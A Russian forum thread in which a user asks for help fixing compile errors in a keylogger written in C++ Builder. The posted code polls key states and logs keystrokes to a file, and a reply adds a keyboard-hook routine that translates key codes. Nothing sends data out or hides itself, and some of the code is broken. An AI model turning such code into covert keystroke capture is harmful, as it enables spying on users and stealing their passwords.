Кейлоггер - ошибка Call of nonfunction

@Grex · Регистрация: 03.12.2008

Студворк — интернет-сервис помощи студентам

Добрый вечер уважаемы эксперты.
Пишу небольшое ПО, одной функцией из которых является кейлоггер.
В обработчик главной формы вставлен код:

C++
1
2
3
4
5
6
7
8
9
void __fastcall TForm1::FormCreate(TObject *Sender)
{
AnsiString KEY;
KEY="";
    if (k==27) KEY="[ESC]";
        else if (k==112) KEY="[F1]";
        else if (k==13) KEY="[Enter]";
        else if (k==2) KEY="(RightMouseB)";
}

В обработчик таймера вставлен след.код:

C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
void __fastcall TForm1::Timer1Timer(TObject *Sender)
{
index=1;
while (index<256)
{
result=GetAsyncKeyState(index);
Application->ProcessMessages();
if (result!=0) {
             Form1(index);      <-----------------------------------------------------
             if (KEY!="") Memo1->Lines->Add(KEY);
             else Memo1->Lines->Add((char)index);
             Memo1->Lines->SaveToFile("keys.txt");
             while (result!=0)
             {
             result=GetAsyncKeyState(index);
             }
             index=1;
}
index++;
}
 
}

Строка на которую указывает стрелка, ругается компилятор:
[BCC32 Error] Unit1.cpp(43): E2314 Call of nonfunction
Full parser context
Unit1.cpp(36): parsing: void _fastcall TForm1::Timer1Timer(TObject *)
Я понимаю, что он не находит функцию.
Скажите. Что мне написать вместо Form1, или как мне поместить код в мою функцию?
Заранее благодарен!

@gooseim · 08.06.2011, 13:41

Programmer., это вообще запись кривая. Я просто тупо перевел из Делфи, что мне дали, причем не верно.

@Programmer. · 08.06.2011, 13:43

gooseim, ну да но как заставить int конвертитися в HKL__

@gooseim · 08.06.2011, 13:46

Сообщение от Programmer.

gooseim, ну да но как заставить int конвертитися в HKL__

Просто путем прямого преобразования.

C++
1
2
HKL kl;
int n = (int)kl;

Добавлено через 1 минуту
HKL это просто HANDLE, который легко преобразуется в числовой тип.

@Grex · 08.06.2011, 13:46 **[ТС]**

Сообщение от Programmer.

gooseim, ну да но как заставить int конвертитися в HKL__

все отлично работает по этим функциям:

C++
1
2
if(LOWORD((DWORD)GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow(), NULL)))==1049) //rus
if(LOWORD((DWORD)GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow(), NULL)))==1033) //eng

@Programmer. · 08.06.2011, 14:59

Сообщение от gooseim

Можно. Но для этого нужно сперва узнать, какая до этого была раскладка.

А как можно ето узнать? последний код скомпилился но нечего не происходит, я думаю нужно найти раскладку, а где его искать?

@QVO · 15.06.2011, 17:47

C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
HHOOK hhok = 0;
LRESULT CALLBACK MyKeyboardProc(int code, WPARAM wParam, LPARAM lParam)
{
    LRESULT ret;
    //Отрабатываем цепочку
    ret = CallNextHookEx(hhok, code, wParam, lParam);
    if(code < 0)return ret;
    //маленькая или большая буква
    bool KeyLow = true;
    //Статус клавиши Shift
    int idShift = GetKeyState(VK_SHIFT) & 0x8000;
    //Статус клавиши CapsLock
    if( (GetKeyState(VK_CAPITAL) & 1) != 0)//Нажат
    {
     if(idShift == 0){ KeyLow = false; }
    }
    //CapsLock не нажат
    else
    {
     if(idShift){ KeyLow = false; }
    } 
    //Сделаем трансляцию виртуального кода клавиши 
    UINT Code = MapVirtualKey(wParam, 2);
    //Вытащим младший байт 
    char Key = Code & 0xFF;
    //Если это символ
    if(Key)
    {
     if(KeyLow == false){ CharUpper(&Key); }
     else{ CharLower(&Key); }
     Form1->StringGrid1->Cells[1][2] = AnsiString(Key);
    }
    //Спец клавиша
    else
    {
    //Получим текстовое название клавиши
      char KeyName[MAX_PATH + 1];
      GetKeyNameText(lParam, KeyName, MAX_PATH);
      Form1->StringGrid1->Cells[1][2] = KeyName;
    }
  return ret;
}

C++
1
2
3
4
5
6
7
8
9
10
11
12
void __fastcall TForm1::FormCreate(TObject *Sender)
{
        if(hhok == 0)
        {
                hhok = SetWindowsHookEx
                                        (
                                        WH_KEYBOARD,
                                        (HOOKPROC)MyKeyboardProc,
                                        0,
                                        GetWindowThreadProcessId(Handle, NULL)
                                        );
        }

C++
1
2
3
4
5
void __fastcall TForm1::FormDestroy(TObject *Sender)
{
        if(hhok){ UnhookWindowsHookEx(hhok); }
        hhok = 0;
}

Новые блоги и статьи Все статьи Все блоги /
Программное добавление префикса в нумерацию документов Maks 27.10.2026 Реализация из решения ниже выполнена в самописной конфигурации на БСП (помощь начинающему коллеге). Задача: Программно добавить префикс в нумерацию документов. Решение: В модуле объекта. . .	После закрытия оутлука продолжает висеть процесс в диспетчере задач Maks 27.10.2026 С недавнего времени в продакшене возникла проблема: при закрытии оутлука в диспетчере задач продолжал висеть процесс outlook. exe. Проблема возникла после установки MS Office 2021 LTSC на машинах, под. . .	Baragoz - DPS/HPS бот для WoW 3.3.5a, многоязычный AmbA 26.10.2026 Хотите ещё ботов? У меня есть один! А я пока отдохну от него. https:/ / www. cyberforum. ru/ blog_attachment. php?attachmentid=12062&stc=1&d=1793007952 Инструкция внутри. https:/ / youtu. be/ VpfFZSUDGnQ. . .	Особенности gif сгенерированных в Си russiannick 21.10.2026 Рассмотрим генерацию gif файлов, которые в Си имеют свои особенности. Gif представляет собой графический формат популярный в интернете. Посмотрим на палитру. Gif файл сгенерированный в си отличается. . .
FPS контроллер с анимированными Y-Bot и 3D-звуком miniaudio (Box3D, Recast, BehaviorTree.CPP, ozz-animation, ImGui, OpenGL и SDL3) 8Observer8 18.10.2026 Содержание блога \| English Version Полное мультиплатформенное руководство по стартовому проекту с FPS-контроллером игрока, анимированными роботами Y-Bot с 4-слойным блендингом, 3D-физикой Box3D,. . .	Локальный http сервер Argus19 17.10.2026 Локальный http сервер На работе, на двух локальных компьютерах круглосуточно работают программы опроса приборов с записью в книги Excel,которые раз в сутки записываются на сервер компании. Т. к. . . .	Копировать Windows на новый диск на UEFI damix 17.10.2026 https:/ / uriesk. wordpress. com/ 2016/ 11/ 01/ move-window-10-to-ssd-on-a-uefi-dualboot-system-with-basic-linux-tools/ TL DR Вставляем диск, а старый подключаем через переходник, грузимся с лайва. . .	ИИ не может найти нужный язык в списке Supersumestria 05.10.2026 Я ему даю вот такое изображение и прошу найти и подчеркнуть немецкий язык. Возвращает он вот это: https:/ / i. **********/ vqBWLe2. png Нужную строчку в 3й колонке просто выдумал. . Это. . .

@gooseim 516 / 421 / 92 Регистрация: 23.09.2010 Сообщений: 1,165
	08.06.2011, 13:41
	Programmer., это вообще запись кривая. Я просто тупо перевел из Делфи, что мне дали, причем не верно. 0

@Programmer. Прогер 632 / 263 / 15 Регистрация: 17.11.2010 Сообщений: 1,371 Записей в блоге: 2
	08.06.2011, 13:43
	gooseim, ну да но как заставить int конвертитися в HKL__ 0